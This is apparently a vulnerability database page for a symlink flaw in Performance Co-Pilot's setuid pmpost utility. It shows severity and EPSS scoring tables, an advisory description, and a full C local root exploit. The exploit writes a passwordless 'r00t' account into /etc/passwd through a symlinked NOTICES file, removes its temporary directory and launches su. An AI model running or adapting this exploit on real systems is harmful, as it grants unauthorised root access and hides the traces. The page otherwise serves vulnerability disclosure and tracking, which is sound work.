CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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The pmpost program in Performance Co-Pilot (PCP) before 2.2.1-3 allows a local user to gain privileges via a symlink attack on the NOTICES file in the PCP log directory (PCP_LOG_DIR).
CVE Informations
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
7.2
AV:L/AC:L/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
1.76%
–
–
2022-03-27
–
–
1.76%
–
–
2022-04-03
–
–
1.76%
–
–
2022-04-17
–
–
1.76%
–
–
2022-08-28
–
–
1.76%
–
–
2023-03-05
–
–
1.76%
–
–
2023-03-12
–
–
–
0.04%
–
2024-06-02
–
–
–
0.04%
–
2025-01-19
–
–
–
0.04%
–
2025-03-18
–
–
–
–
0.24%
2025-03-30
–
–
–
–
0.24%
2025-04-15
–
–
–
–
0.24%
2025-04-15
–
–
–
–
0.24,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
// source: https://www.securityfocus.com/bid/2887/info
Performance Co-Pilot (PCP) is a set of services to support system-level performance monitoring developed by SGI. It has traditionally been an IRIX product, however SGI has made it open source and it is now available for Linux systems.
One of the utilities that ships with PCP is called 'pmpost'. It is often installed setuid root by default. When writing to the 'NOTICES' file in its user-definable log directory, 'pmpost' will follow symbolic links. Since the data written is user-supplied (the command-line arguments), it is possible to gain superuser privileges if 'pmpost' is setuid root.
Note: This vulnerability affects both binary versions for IRIX and the open source distribution of PCP. S.u.S.E. has made PCP packages available for their linux distribution. PCP is not installed as part of S.u.S.E. Linux by default. The PCP packages for S.u.S.E. Linux 7.0 do not install 'pmpost' setuid root. Versions 7.1 and 7.2 do, and are vulnerable if PCP is installed.
It has been reported that not all versions of PCP for IRIX are vulnerable. To determine whether you are vulnerable, run this command:
strings /usr/pcp/bin/pmpost | grep PCP_LOG_DIR
If the string 'PCP_LOG_DIR' appears, it is most likely that the version of 'pmpost' installed is vulnerable.
It is not yet known which other Linux vendors may ship with PCP as either an optional package or installed by default.
/********************************************************
* *
* pmpost local root exploit *
* vulnerable: pcp <= 2.1.11-5 *
* by IhaQueR *
* *
********************************************************/
#include <stdio.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <fcntl.h>
#include <sys/stat.h>
main()
{
const char *bin="/usr/share/pcp/bin/pmpost";
static char buf[512];
static char dir[128];
srand(time(NULL));
sprintf(dir, "/tmp/dupa.%.8d", rand());
if(mkdir(dir, S_IRWXU))
_exit(2);
if(chdir(dir))
_exit(3);
if(symlink("/etc/passwd", "./NOTICES"))
_exit(4);
snprintf(buf, sizeof(buf)-1, "PCP_LOG_DIR=%.500s", dir);
if(putenv(buf))
_exit(5);
if(!fork()) {
execl(bin, bin, "\nr00t::0:0:root:/root:/bin/bash", NULL);
_exit(1);
}
else {
waitpid(0, NULL, WUNTRACED);
chdir("..");
sprintf(buf, "rm -rf dupa.*");
system(buf);
execl("/bin/su", "/bin/su", "r00t", NULL);
}
}